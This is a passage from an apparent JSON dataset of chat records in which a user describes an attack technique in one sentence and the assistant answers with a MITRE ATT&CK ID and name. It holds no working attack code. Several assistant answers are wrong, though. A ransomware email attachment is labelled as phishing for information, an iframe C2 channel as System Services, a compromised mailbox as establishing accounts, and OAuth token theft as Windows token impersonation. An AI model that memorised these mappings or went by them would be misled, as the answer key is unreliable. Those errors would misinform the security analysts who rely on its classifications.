                "content": "The malicious actor exploited Windows admin shares via SMB to copy and run a cryptominer on multiple networked hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilized \"docker exec\" to spawn a background process that exfiltrated data from the container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider stole a high‑privilege digital certificate from the corporate certificate store and used it to sign phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group performs pass-the-hash by extracting NTLM hashes from LSASS memory and authenticating to other systems."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised employee email account to set up a persistent command channel."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a custom script that exploits an outdated repository plugin to extract repository contents from an internal Gitea instance."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a targeted email campaign with a malicious .zip archive that, when extracted, drops a ransomware executable on the system."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends API requests to the containerd socket to list containers and fetch the config.json files that contain plaintext login credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion toolkit hides a ransomware dropper inside a legitimate PDF by using steganography on embedded objects."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team performed a credential dumping operation on a hybrid identity server and used the harvested hashes to perform Pass-the-Hash attacks against Azure services."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces a trusted Python setup script with one that imports a malicious module, leading to execution when developers run the installer."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised certificate, the actor forges SAML bearer tokens to impersonate high‑privilege accounts during authentication."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a disguised USB device, the intruder copies system logs and configuration files for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used a BIOS‑level command to trigger a secure erase of the hard drive before exiting the network."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware attempts to discover local permission groups by reading the file C:\\Windows\\System32\\GroupPolicy\\Machine\\Registry.pol."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging a scheduled task, the attacker repeatedly disables the 'WSearch' service, disrupting file indexing."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping tool writes extracted password hashes to registry path HKCU\\Environment for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a fraudulent code signing certificate issued by a rogue CA, the attacker signed a payload to evade detection by endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office macro was used to capture the Exchange username and password, allowing the adversary to access the email mailbox."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised CI/CD pipeline, the intruder injects malicious code during the software build and deployment process."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit pulls credentials from the OpenSSH client configuration files to authenticate to other hosts."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Security Support Provider Interface, the malware achieves persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors query a proprietary market research database to find financial forecasts related to the target firm."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a signed binary and spoofs its process arguments to appear as a normal system task."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conceals a second-stage payload within the resources of a signed Windows binary, using custom packing to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group abuses a legitimate code signing certificate obtained through a compromised employee’s account."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining SYSTEM privileges, the malware copied the LSASS.exe file from the Windows directory to a staging area for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website hosts a drive‑by download of a malicious .msi installer that the user inadvertently launches from their browser’s download bar."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider generated unsigned SAML tokens, then added a valid signature using a compromised signing key to bypass MFA."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage group configures a symmetric encryption layer (e.g., ChaCha20) over HTTP to conceal data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a .html file that uses the FileReader API to read an encoded payload, then writes it to %TEMP% and executes it, exemplifying HTML smuggling techniques."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link in a social media direct message directs the user to download a trojanized PDF."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the registry to point a legitimate script handler to a malicious script, causing the system to execute the payload when the handler is invoked."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware unloads the kernel driver for the Trusted Platform Module, preventing any hardware-backed key storage."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts counterfeit intrusion detection system alerts, causing the SOC to ignore real threats."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a backdoor, the actor exfiltrated SSL/TLS private keys and forged certificates to decrypt network traffic."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs ps aux to list active processes on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection, the trojan writes to the Outlook configuration file (outlook.cfg) to replace the default HomePage with a malicious URL."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a compromised cloud storage service's file sync tool to deliver a remote execution payload to the target host."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group deploys a compromised HTTP proxy server in a different country, then instructs malware to tunnel its communications through that server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msbuild.exe with the /t:Build switch, the threat actor executes a PowerShell script embedded in a project file to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A victim visits a compromised website that automatically exploits a browser vulnerability to download and execute malware without any user interaction."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker publishes a tutorial titled \"How to fix Windows 10 errors\" that ranks highly on search engines and contains a malicious PowerShell script that runs on download."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious HEIC file is sent to a victim using a cloud storage link; opening the file on a vulnerable iOS version triggers code execution through a heap overflow in the image decoder."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a reverse proxy that points to an allowed domain but tunnels requests to an unauthorized endpoint."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a tool to dump Kerberos tickets from LSASS and then presents those tickets to authenticate to other systems in the environment."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code manipulates the process tree by spawning under the lsass.exe process, making the malicious activity look benign."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised admin updates domain policies to permit the use of legacy authentication protocols."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops a malicious printer port monitor that runs automatically when the system boots, giving them persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group hijacks an OAuth access token from a web application to act on behalf of the victim user."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrated stolen data by sending it over a Bluetooth connection to a nearby device."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised software corrupts a local CSV data store to mislead analytics and reporting."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor abuses a webhook in a collaboration platform, embedding exfiltrated data within JSON payloads sent to an external address."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encodes command output with Base64, appending the result to a DNS query for covert exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script executed on a compromised workstation added the attacker's user account as a delegate with Send As rights on a target mailbox."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a hidden iframe in a compromised website to fetch JavaScript C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External attackers used a known vulnerability in the web application firewall to modify the site's CSS, displaying unauthorized graphics across all pages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploited an old Confluence API token to download the entire site backup file."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder accesses a misconfigured SharePoint Online site collection to download project plans."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses an HTML document with obfuscated JavaScript to download and execute a ransomware binary without triggering endpoint detection."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leaves infected thumb drives in conference rooms, relying on attendees to plug them into laptops where the malware silently copies itself to the system's startup folder."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign involved adding a new computer configuration item in the GPO to run a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals exploited a vulnerable CloudFormation template that exposed environment variables containing secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by creating a COM add‑in for Excel that loads a PowerShell script on launch."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disguises its data exfiltration as routine FTP file transfers to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise includes stopping the Microsoft Volume Shadow Copy service to block any system recovery attempts."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses Kubernetes commands to spin up a compromised container that executes payloads inside the environment."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Azure Functions with overly permissive authentication settings to run arbitrary code and exfiltrate data from the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection spreads by writing a copy of the ransomware to the root directory of any newly connected SD card, then modifies shortcuts to execute it."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces a 256‑bit symmetric key with a 64‑bit key, forcing the encryption algorithm to operate with a much smaller key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Linux proc filesystem to inspect /proc/[pid]/maps and locate credential strings within the address space of privileged processes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a serverless workflow that periodically contacts a malicious DNS server for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a supply chain attack on a DNS server appliance firmware, gaining the ability to change resolution data."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload harvested files to a remote cloud storage bucket to stage data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware contacts a set of domains generated on‑the‑fly using a deterministic algorithm based on the day of the year, attempting to locate its controller."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deletes all scheduled tasks on the domain controller, interrupting automated processes."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
